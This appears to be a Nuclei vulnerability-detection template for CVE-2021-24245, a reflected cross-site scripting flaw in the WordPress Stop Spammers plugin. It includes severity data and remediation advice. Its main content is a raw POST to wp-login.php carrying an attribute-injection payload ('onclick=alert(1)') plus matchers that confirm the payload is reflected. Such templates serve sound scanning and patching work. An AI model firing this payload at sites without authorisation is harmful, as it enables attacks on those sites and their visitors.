WordPress Stop Spammers <2021.9 - Cross-Site Scripting

id: CVE-2021-24245

info:
  name: WordPress Stop Spammers <2021.9 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
    - https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24245
    - http://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24245
    cwe-id: CWE-79
    epss-score: 0.05721
    epss-percentile: 0.92133
    cpe: cpe:2.3:a:trumani:stop_spammers:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: trumani
    product: "stop_spammers"
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,packetstorm,trumani,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Stop Spammers Spam Prevention'
          - 'Tags:'
        condition: and

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check;

        log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "ad\" accesskey=X onclick=alert(1)"

      - type: status
        status:
          - 200
# digest: 490a0046304402205db02f63f767c43b39e153e8532513f71f90ea47a7f00aba727a0ccd7160aba0022020b0728829c8fb7520e2cba57bc7a2d4b884a352a733edcad359f2d5af337494:922c64590222798bb761d5b6d8e72950